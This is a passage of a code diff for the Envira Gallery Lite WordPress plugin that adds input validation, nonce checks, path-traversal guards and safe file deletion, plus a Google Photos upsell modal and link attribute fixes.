+	if ( ! is_array( $to_gallery ) || ! isset( $to_gallery['gallery'] ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Destination gallery data not found.', 'envira-gallery-lite' ) ] );
+	}
+
+	// Move each image from the source gallery to the destination gallery.
 	foreach ( $image_ids as $image_id ) {
-		// Check the image exists in $from_gallery.
-		// If not, skip this image.
-		if ( ! isset( $from_gallery['gallery'][ $image_id ] ) ) {
+		// Use array_key_exists rather than isset so null-valued entries still count as present.
+		if ( ! array_key_exists( $image_id, $from_gallery['gallery'] ) ) {
 			continue;
 		}

@@ -1089,7 +1331,25 @@

 	// Activate the addon.
 	if ( isset( $_POST['basename'] ) ) {
-		$activate = activate_plugin( sanitize_text_field( wp_unslash( $_POST['basename'] ) ) );
+		// Sanitize; strips tags and control characters.
+		$plugin = sanitize_text_field( wp_unslash( $_POST['basename'] ) );
+
+		// Reject path traversal (e.g. "../") and absolute paths.
+		if ( 0 !== validate_file( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin path.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Restrict to the Envira namespace; prevents targeting arbitrary plugins.
+		if ( 0 !== strpos( $plugin, 'envira-' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Not an Envira addon.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Confirm the plugin is installed before attempting activation.
+		if ( ! array_key_exists( $plugin, get_plugins() ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Plugin not found.', 'envira-gallery-lite' ) ] );
+		}
+
+		$activate = activate_plugin( $plugin );

 		if ( is_wp_error( $activate ) ) {
 			echo wp_json_encode( [ 'error' => $activate->get_error_message() ] );
@@ -1120,7 +1380,25 @@

 	// Deactivate the addon.
 	if ( isset( $_POST['basename'] ) ) {
-		$deactivate = deactivate_plugins( wp_unslash( $_POST['basename'] ) );  // @codingStandardsIgnoreLine
+		// Sanitize; was wp_unslash() only before — no sanitization at all.
+		$plugin = sanitize_text_field( wp_unslash( $_POST['basename'] ) );
+
+		// Reject path traversal and absolute paths.
+		if ( 0 !== validate_file( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin path.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Restrict to the Envira namespace; prevents deactivating arbitrary plugins.
+		if ( 0 !== strpos( $plugin, 'envira-' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Not an Envira addon.', 'envira-gallery-lite' ) ] );
+		}
+
+		// Confirm the plugin is currently active before deactivating.
+		if ( ! is_plugin_active( $plugin ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Plugin not active.', 'envira-gallery-lite' ) ] );
+		}
+
+		deactivate_plugins( $plugin );
 	}

 	echo wp_json_encode( true );
@@ -1146,7 +1424,15 @@
 	// Install the addon.
 	if ( isset( $_POST['download_url'] ) ) {

-		$download_url = esc_url_raw( wp_unslash( $_POST['download_url'] ) );
+		$download_url = esc_url_raw( wp_unslash( $_POST['download_url'] ) ); // Sanitize URL at ingestion.
+
+		// Validate URL structure (HTTPS + .zip). No domain allowlist: the caller
+		// already holds install_plugins (admin-level) and can install from any host
+		// via native WP UI. Internal-IP SSRF is blocked by WP_HTTP::block_request().
+		if ( ! envira_gallery_is_valid_plugin_download_url( $download_url ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin URL. Must be an HTTPS .zip address.', 'envira-gallery-lite' ) ] );
+		}
+
 		global $hook_suffix;

 		// Set the current screen to avoid undefined notices.
@@ -1285,6 +1571,10 @@

 	$download_url = esc_url_raw( $valid_key->download_url );

+	if ( ! envira_gallery_is_valid_plugin_download_url( $download_url ) ) {
+		wp_send_json_error( [ 'message' => esc_html__( 'Invalid plugin URL. Must be an HTTPS .zip address.', 'envira-gallery-lite' ) ] );
+	}
+
 	// Start output bufferring to catch the filesystem form if credentials are needed.
 	ob_start();

--- a/envira-gallery-lite/includes/admin/common.php
+++ b/envira-gallery-lite/includes/admin/common.php
@@ -457,7 +457,9 @@
 		wp_register_style( $this->base->plugin_slug . '-admin-style', plugins_url( 'assets/css/admin.css', $this->base->file ), [], $this->base->version );
 		wp_enqueue_style( $this->base->plugin_slug . '-admin-style' );

-		if ( 'envira_page_envira-gallery-settings' === $hook && isset( $_GET['post_type'] ) && 'envira' === $_GET['post_type'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		// Sanitize $_GET['post_type'] at the point of ingestion using sanitize_key() — fixes unvalidated input read (nonce verification N/A for enqueue hooks; sanitization is the correct mitigation here).
+		$post_type = isset( $_GET['post_type'] ) ? sanitize_key( $_GET['post_type'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only query param used only for conditional style loading, not for data mutation; sanitized above.
+		if ( 'envira_page_envira-gallery-settings' === $hook && 'envira' === $post_type ) { // Uses sanitized $post_type instead of raw $_GET value.

 			wp_enqueue_style( 'envira-gallery-settings-style-css', plugins_url( 'assets/css/settings.css', $this->base->file ), false, $this->base->version );
 			wp_enqueue_style( 'envira-choice-css', plugins_url( 'assets/css/choices.css', $this->base->file ), false, $this->base->version );
@@ -632,7 +634,12 @@

 			// Delete the resized image.
 			if ( file_exists( $file ) ) {
-				@unlink( $file ); // @codingStandardsIgnoreLine
+				$real_file    = realpath( $file ); // resolve canonical path — $metadata['file'] and $dims come from the DB and can be tampered with to contain ../ sequences
+				$real_basedir = realpath( $wp_upload_dir['basedir'] ); // resolve basedir with symlinks expanded for reliable prefix comparison
+				if ( $real_file && $real_basedir && 0 === strpos( $real_file, trailingslashit( $real_basedir ) ) ) {
+					// only unlink when the resolved path is confirmed inside the uploads directory
+					@unlink( $real_file ); // @codingStandardsIgnoreLine
+				}
 			}
 		}
 	}
--- a/envira-gallery-lite/includes/admin/menu-nudge.php
+++ b/envira-gallery-lite/includes/admin/menu-nudge.php
@@ -66,6 +66,15 @@
 	public function enqueue_admin_styles() {
 		wp_register_style( '-menu-nudge', ENVIRA_LITE_URL . 'assets/css/menu-nudge.css', [], ENVIRA_LITE_VERSION );
 		wp_register_script( '-menu-nudge-script', ENVIRA_LITE_URL . 'assets/js/min/menu-nudge-min.js', [ 'jquery' ], ENVIRA_LITE_VERSION, true );
+		// Localize a nonce so the JS can send it with the hide-tooltip AJAX request (Medium09 CSRF fix).
+		wp_localize_script(
+			'-menu-nudge-script',
+			'enviraMenuNudge',
+			[
+				'nonce'         => wp_create_nonce( 'envira-hide-admin-menu-tooltip' ), // Nonce scoped to this action only.
+				'redirectNonce' => wp_create_nonce( 'envira-redirect-to-add-new-gallery' ),
+			]
+		);
 	}

 	/**
@@ -120,6 +129,9 @@
 	 * Hide the admin menu tooltip.
 	 */
 	public function envira_hide_admin_menu_tooltip_callback() {
+		// Verify nonce before acting; current_user_can() alone does not prevent CSRF (Medium09 fix).
+		check_ajax_referer( 'envira-hide-admin-menu-tooltip', 'nonce' );
+
 		if ( current_user_can( 'manage_options' ) ) {
 			update_option( 'envira_admin_menu_tooltip', time() );
 		}
@@ -131,6 +143,7 @@
 	 * Reload to add new page.
 	 */
 	public function envira_redirect_to_add_new_gallery_callback() {
+		check_ajax_referer( 'envira-redirect-to-add-new-gallery', 'nonce' );
 		if ( current_user_can( 'manage_options' ) ) {
 			$url = admin_url( 'post-new.php?post_type=envira' );
 			wp_send_json_success( [ 'redirect_url' => $url ] );
--- a/envira-gallery-lite/includes/admin/metaboxes.php
+++ b/envira-gallery-lite/includes/admin/metaboxes.php
@@ -1,5 +1,4 @@
 <?php
-
 /**
  * Metabox class.
  *
@@ -23,6 +22,7 @@



+
 	/**
 	 * Holds the class object.
 	 *
@@ -1420,17 +1420,18 @@
 			<p>Video platform integrations allow you to add more video sources for your galleries. We’ve added integrations with all the most popular video sharing and video hosting providers.</p>
 			<div class="two-column-list">
 				<ul>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">Self-hosted Videos</a> (MP4)</li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">YouTube</a> (with playlist and custom start time support)</li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">Vimeo</a></li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">Instagram</a> Feed Videos</li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagesocial', 'videoplatformlinks' ) ); ?>">Instagram</a> IGTV</li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Self-hosted Videos</a> (MP4)</li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">YouTube</a> (with playlist and custom start time support)</li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Vimeo</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Instagram</a> Feed Videos</li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagesocial', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Instagram</a> IGTV</li>
 				</ul>
 				<ul>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">Twitch</a></li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">VideoPress</a></li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">DailyMotion</a></li>
-					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>">TikTok</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Twitch</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">VideoPress</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">DailyMotion</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">TikTok</a></li>
+					<li><a target="_blank" href="<?php echo esc_url( Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'adminpagevideos', 'videoplatformlinks' ) ); ?>" rel="noopener noreferrer">Google Photos</a></li>
 					<li><strong>...and more!</strong></li>
 				</ul>
 			</div>
@@ -1725,6 +1726,24 @@
 				$settings['config']['crop_width']    = isset( $_POST['_envira_gallery']['crop_width'] ) ? absint( $_POST['_envira_gallery']['crop_width'] ) > 0 ? absint( $_POST['_envira_gallery']['crop_width'] ) : $this->get_config_default( 'crop_width' ) : false;
 				$settings['config']['crop_height']   = isset( $_POST['_envira_gallery']['crop_height'] ) ? absint( $_POST['_envira_gallery']['crop_height'] ) > 0 ? absint( $_POST['_envira_gallery']['crop_height'] ) : $this->get_config_default( 'crop_height' ) : false;

+				// Validate type against registered types; prevents arbitrary hook names via do_action('envira_gallery_display_'.$type).
+				if ( isset( $_POST['_envira_gallery']['type'] ) ) {
+					$type        = sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['type'] ) );
+					$valid_types = array_keys( $this->get_envira_types( $post ) );
+					if ( in_array( $type, $valid_types, true ) ) {
+						$settings['config']['type'] = $type;
+					}
+				}
+
+				// Validate image_size against registered sizes; prevents storing an arbitrary size key.
+				if ( isset( $_POST['_envira_gallery']['image_size'] ) ) {
+					$image_size        = sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['image_size'] ) );
+					$valid_image_sizes = array_column( $this->get_image_sizes(), 'value' );
+					if ( in_array( $image_size, $valid_image_sizes, true ) ) {
+						$settings['config']['image_size'] = $image_size;
+					}
+				}
+
 				// Provide a filter to override settings.
 				$settings = apply_filters( 'envira_gallery_quick_edit_save_settings', $settings, $post_id, $post );

@@ -1767,7 +1786,9 @@
 		$settings['id'] = $post_id;

 		// Config.
-		$settings['config']['type']               = isset( $_POST['_envira_gallery']['type'] ) ? sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['type'] ) ) : $this->get_config_default( 'type' );
+		$type                                     = isset( $_POST['_envira_gallery']['type'] ) ? sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['type'] ) ) : '';
+		$valid_types                              = array_keys( $this->get_envira_types( $post ) );
+		$settings['config']['type']               = in_array( $type, $valid_types, true ) ? $type : $this->get_config_default( 'type' );
 		$settings['config']['columns']            = isset( $_POST['_envira_gallery']['columns'] ) ? preg_replace( '#[^a-z0-9-_]#', '', sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['columns'] ) ) ) : $this->get_config_default( 'columns' );
 		$settings['config']['gallery_theme']      = isset( $_POST['_envira_gallery']['gallery_theme'] ) ? preg_replace( '#[^a-z0-9-_]#', '', sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['gallery_theme'] ) ) ) : $this->get_config_default( 'gallery_theme' );
 		$settings['config']['crop_width']         = isset( $_POST['_envira_gallery']['crop_width'] ) ? absint( $_POST['_envira_gallery']['crop_width'] ) > 0 ? absint( $_POST['_envira_gallery']['crop_width'] ) : $this->get_config_default( 'crop_width' ) : $this->get_config_default( 'crop_width' );
@@ -1778,7 +1799,9 @@
 		$settings['config']['lazy_loading_delay'] = isset( $_POST['_envira_gallery']['lazy_loading_delay'] ) ? absint( $_POST['_envira_gallery']['lazy_loading_delay'] ) : $this->get_config_default( 'lazy_loading_delay' );
 		$settings['config']['gutter']             = isset( $_POST['_envira_gallery']['gutter'] ) ? absint( $_POST['_envira_gallery']['gutter'] ) : $this->get_config_default( 'gutter' );
 		$settings['config']['margin']             = isset( $_POST['_envira_gallery']['margin'] ) ? absint( $_POST['_envira_gallery']['margin'] ) : $this->get_config_default( 'margin' );
-		$settings['config']['image_size']         = isset( $_POST['_envira_gallery']['image_size'] ) ? sanitize_text_field( wp_unslash( $_POST['_envira_gallery']['image_size'] ) ) : $this->get_config_default( 'image_size' );
+		$size                                     = isset( $_POST['_envira_gallery']['image_size'] ) ? sanitize_key( wp_unslash( $_POST['_envira_gallery']['image_size'] ) ) : '';
+		$valid_sizes                              = array_column( $this->get_image_sizes(), 'value' ); // Use get_image_sizes() to match Quick-Edit path — includes 'default' and filter-added custom sizes.
+		$settings['config']['image_size']         = in_array( $size, $valid_sizes, true ) ? $size : $this->get_config_default( 'image_size' );

 		// Automatic/Justified.
 		$settings['config']['justified_row_height'] = isset( $_POST['_envira_gallery']['justified_row_height'] ) ? absint( $_POST['_envira_gallery']['justified_row_height'] ) : 150;
@@ -2111,8 +2134,9 @@
 		global $id, $post;

 		// Get the current post ID. If ajax, grab it from the $_POST variable.
-		if (defined('DOING_AJAX') && DOING_AJAX && array_key_exists('post_id', $_POST)) { // @codingStandardsIgnoreLine
-			$post_id = absint(wp_unslash($_POST['post_id'])); // @codingStandardsIgnoreLine
+		if ( defined( 'DOING_AJAX' ) && DOING_AJAX && array_key_exists( 'post_id', $_POST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- get_config() is a read-only meta lookup helper; nonce verification is the responsibility of the AJAX action handler that calls this method.
+			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- See note above; read-only helper, nonce belongs to calling AJAX handler. Value is sanitized with absint().
+			$post_id = absint( wp_unslash( $_POST['post_id'] ) );
 		} else {
 			$post_id = isset( $post->ID ) ? $post->ID : (int) $id;
 		}
--- a/envira-gallery-lite/includes/admin/notifications.php
+++ b/envira-gallery-lite/includes/admin/notifications.php
@@ -463,8 +463,8 @@
 		// Run a security check.
 		check_ajax_referer( 'envira_dismiss_notification', 'nonce' );

-		// Check for access and required param.
-		if ( ! $this->has_access() || empty( $_POST['id'] ) ) {
+		// Check for access and required param. Nonce already verified by check_ajax_referer() above; this line is unreachable without a valid nonce.
+		if ( ! $this->has_access() || empty( $_POST['id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified via check_ajax_referer() on line 464; wp_die() is called on failure so execution never reaches here without a valid nonce.
 			wp_send_json_error();
 		}

--- a/envira-gallery-lite/includes/admin/onboarding-wizard.php
+++ b/envira-gallery-lite/includes/admin/onboarding-wizard.php
@@ -344,8 +344,8 @@
 	 */
 	public function save_onboarding_data() {

-		// check for nonce enviraOnboardingCheck.
-		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'enviraOnboardingCheck' ) ) {
+		// Verify nonce — do NOT sanitize before wp_verify_nonce; sanitize_text_field() can corrupt the hash and cause false failures.
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['nonce'] ), 'enviraOnboardingCheck' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- nonces must not be sanitized before wp_verify_nonce.
 			wp_send_json_error( 'Invalid nonce' );
 			wp_die();
 		}
@@ -356,10 +356,13 @@
 			wp_die();
 		}

-		if ( ! empty( $_POST['eow'] ) ) {
+		if ( ! empty( $_POST['eow'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified via wp_verify_nonce() above; wp_die() is called on failure so execution never reaches here without a valid nonce.
 			// Sanitize data and merge to existing data.
 			$onboarding_data = get_option( 'envira_onboarding_data', [] );

+			// Capture the previous user type before it is overwritten.
+			$previous_user_type = isset( $onboarding_data['_user_type'] ) ? $onboarding_data['_user_type'] : '';
+
 			$onboarding_data = $this->sanitize_and_assign( '_usage_tracking', 'sanitize_text_field', $onboarding_data );
 			$onboarding_data = $this->sanitize_and_assign( '_email_address', 'sanitize_email', $onboarding_data );
 			$onboarding_data = $this->sanitize_and_assign( '_email_opt_in', 'sanitize_text_field', $onboarding_data );
@@ -369,7 +372,7 @@

 			if ( $updated ) {
 				// Send data to Drip.
-				$this->save_to_drip( $onboarding_data );
+				$this->save_to_drip( $onboarding_data, $previous_user_type );
 			}

 			wp_send_json_success( 'Data saved successfully' );
@@ -409,7 +412,7 @@
 	 *
 	 * @return void
 	 */
-	public function save_to_drip( array $onboarding_data ) {
+	public function save_to_drip( array $onboarding_data, string $previous_user_type = '' ) {

 		$url = 'https://enviragallery.com/wp-json/envira/v1/get_opt_in_data';

@@ -419,10 +422,11 @@
 			return;
 		}

-		$tags = [ 'envira-lite' ];
+		$tags              = [ 'envira-lite' ];
+		$current_user_type = isset( $onboarding_data['_user_type'] ) ? $onboarding_data['_user_type'] : '';

-		if ( isset( $onboarding_data['_user_type'] ) ) {
-			$tags[] = $onboarding_data['_user_type'];
+		if ( $current_user_type ) {
+			$tags[] = $current_user_type;
 		}

 		$body_data = [
@@ -430,6 +434,11 @@
 			'envira-drip-tags'  => $tags,
 		];

+		// If the user type changed, ask the endpoint to remove the old tag.
+		if ( $previous_user_type && $previous_user_type !== $current_user_type ) {
+			$body_data['envira-drip-remove-tags'] = [ $previous_user_type ];
+		}
+
 		$body = wp_json_encode( $body_data );

 		$args = [
@@ -453,8 +462,8 @@
 	 * Save selected addons to database.
 	 */
 	public function save_selected_addons() {
-		// check for nonce enviraOnboardingCheck.
-		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'enviraOnboardingCheck' ) ) {
+		// Verify nonce — do NOT sanitize before wp_verify_nonce; sanitize_text_field() can corrupt the hash and cause false failures.
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['nonce'] ), 'enviraOnboardingCheck' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- nonces must not be sanitized before wp_verify_nonce.
 			wp_send_json_error( 'Invalid nonce' );
 			wp_die();
 		}
@@ -465,7 +474,7 @@
 			wp_die();
 		}

-		if ( ! empty( $_POST['addons'] ) ) {
+		if ( ! empty( $_POST['addons'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified via wp_verify_nonce() above; wp_die() is called on failure so execution never reaches here without a valid nonce.

 			$addons = explode( ',', sanitize_text_field( wp_unslash( $_POST['addons'] ) ) );

@@ -548,8 +557,8 @@
 	 * @return void
 	 */
 	public function install_recommended_plugins() {
-		// check for nonce enviraOnboardingCheck.
-		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'enviraOnboardingCheck' ) ) {
+		// Verify nonce — do NOT sanitize before wp_verify_nonce; sanitize_text_field() can corrupt the hash and cause false failures.
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['nonce'] ), 'enviraOnboardingCheck' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- nonces must not be sanitized before wp_verify_nonce.
 			wp_send_json_error( 'Invalid nonce' );
 			wp_die();
 		}
@@ -560,7 +569,7 @@
 			wp_die();
 		}

-		if ( ! empty( $_POST['plugins'] ) ) {
+		if ( ! empty( $_POST['plugins'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified via wp_verify_nonce() above; wp_die() is called on failure so execution never reaches here without a valid nonce.
 			// Sanitize data, plugins is a string delimited by comma.

 			$plugins = explode( ',', sanitize_text_field( wp_unslash( $_POST['plugins'] ) ) );
--- a/envira-gallery-lite/includes/admin/partials/metabox-gallery-type.php
+++ b/envira-gallery-lite/includes/admin/partials/metabox-gallery-type.php
@@ -72,6 +72,12 @@
 					<div class="title"><?php esc_html_e( 'TikTok', 'envira-gallery-lite' ); ?></div>
 				</a>
 			</li>
+			<li id="envira-gallery-type-google-photos">
+				<a href="javascript:void(0);" title="<?php esc_attr_e( 'Build Galleries from Google Photos.', 'envira-gallery-lite' ); ?>" class="link-envira-google-photos-tab upsell">
+					<div class="icon"></div>
+					<div class="title"><?php esc_html_e( 'Google Photos', 'envira-gallery-lite' ); ?></div>
+				</a>
+			</li>
 		</ul>
 	</div>

@@ -110,7 +116,7 @@
 						</ul>
 					</div>
 					<div class="bottom-content">
-						<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlockai&utm_campaign=upgradetopro" class="button button-primary" target="_blank"><?php esc_html_e( 'Unlock AI Features', 'envira-gallery-lite' ); ?></a>
+						<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlockai&utm_campaign=upgradetopro" rel="noopener noreferrer" class="button button-primary" target="_blank"><?php esc_html_e( 'Unlock AI Features', 'envira-gallery-lite' ); ?></a>
 						<p class="gift-text">
 							<?php
 							$image_url = esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/css/images/icons/wrapped-gift.svg' );
@@ -153,7 +159,7 @@
 				<div class="connector-icon">
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/connector.png' ); ?>" alt="Connector icon"></img>
 				</div>
-				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_instagram&utm_campaign=upgradetopro" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
+				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_instagram&utm_campaign=upgradetopro" rel="noopener noreferrer" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/arrow-right.png' ); ?>" alt="Arrow right icon" class="arrow-right-icon"></img>
 				</a>
 				<div class="discount-section">
@@ -185,7 +191,7 @@
 				<div class="connector-icon">
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/connector.png' ); ?>" alt="Connector icon"></img>
 				</div>
-				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_dribbble&utm_campaign=upgradetopro" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
+				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_dribbble&utm_campaign=upgradetopro" rel="noopener noreferrer" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/arrow-right.png' ); ?>" alt="Arrow right icon" class="arrow-right-icon"></img>
 				</a>
 				<div class="discount-section">
@@ -217,7 +223,39 @@
 				<div class="connector-icon">
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/connector.png' ); ?>" alt="Connector icon"></img>
 				</div>
-				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_tiktok&utm_campaign=upgradetopro" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
+				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_tiktok&utm_campaign=upgradetopro" rel="noopener noreferrer" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
+					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/arrow-right.png' ); ?>" alt="Arrow right icon" class="arrow-right-icon"></img>
+				</a>
+				<div class="discount-section">
+					<div class="discount-percentage">
+						<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/discount-icon.png' ); ?>" alt="Discount percentage">
+						</img>
+						<span>%</span>
+					</div>
+					<p>Envira Gallery lite users <span class="offer-text">get 50% off</span> the regular price, automatically applied at checkout.</p>
+				</div>
+			</div>
+		</div>
+	</div>
+</div>
+
+<!-- Envira Google Photos Upsell Modal -->
+<div id="envira-google-photos-upsell-modal" class="envira-addon-upsell-modal">
+	<div class="envira-addon-upsell-modal-overlay"></div>
+	<div class="envira-addon-upsell-modal-content">
+		<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/close.png' ); ?>" alt="Close upsell modal" id="close-envira-google-photos-upsell-modal" class="close-envira-addon-upsell-modal"></img>
+
+		<div class="upsell-content-container">
+			<div class="top-content">
+				<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/lock.png' ); ?>" alt="Lock icon" class="lock-icon"></img>
+				<h3>Google Photos is a Pro Feature</h3>
+				<p>We’re sorry, using Google Photos is not available on your plan. Please upgrade to the Pro plan to unlock all these awesome features.</p>
+			</div>
+			<div class="bottom-content">
+				<div class="connector-icon">
+					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/connector.png' ); ?>" alt="Connector icon"></img>
+				</div>
+				<a href="https://enviragallery.com/lite/?utm_source=liteplugin&utm_medium=adminpageunlock_google-photos&utm_campaign=upgradetopro" rel="noopener noreferrer" class="button button-upsell-modal" target="_blank"><?php esc_html_e( 'Upgrade to Pro', 'envira-gallery-lite' ); ?>
 					<img src="<?php echo esc_url( trailingslashit( ENVIRA_LITE_URL ) . 'assets/images/arrow-right.png' ); ?>" alt="Arrow right icon" class="arrow-right-icon"></img>
 				</a>
 				<div class="discount-section">
--- a/envira-gallery-lite/includes/admin/partials/onboarding-wizard/step-1.php
+++ b/envira-gallery-lite/includes/admin/partials/onboarding-wizard/step-1.php
@@ -53,7 +53,7 @@
 							</div>
 						</div>
 						<div class="envira-options" id="others_div" style="display: none;">
-							<input type="text" id="others" name="eow[_others]" value="<?php echo esc_attr( $onboarding->get_onboarding_data( '_others' ) ); ?>" placeholder="<?php esc_attr_e( 'What best describes you?', 'envira-gallery-lite' ); ?>">
